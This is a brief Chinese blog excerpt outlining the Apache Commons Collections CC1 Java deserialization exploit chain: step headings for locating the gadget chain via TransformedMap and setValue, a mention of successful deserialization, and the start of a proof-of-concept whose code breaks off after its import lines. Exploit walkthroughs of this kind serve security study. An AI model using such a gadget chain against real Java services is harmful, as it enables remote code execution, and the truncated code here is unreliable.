cc1 transform链

cc1 transform 链
一步一步寻找利用链1.找到利用终点2.寻找transform3.进入TransformedMap3.寻找setValue
一些小问题

上个大图

成功反序列化

poc
package org.example.cc.cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.ap

cc1 transform链最先出现在Python成神之路。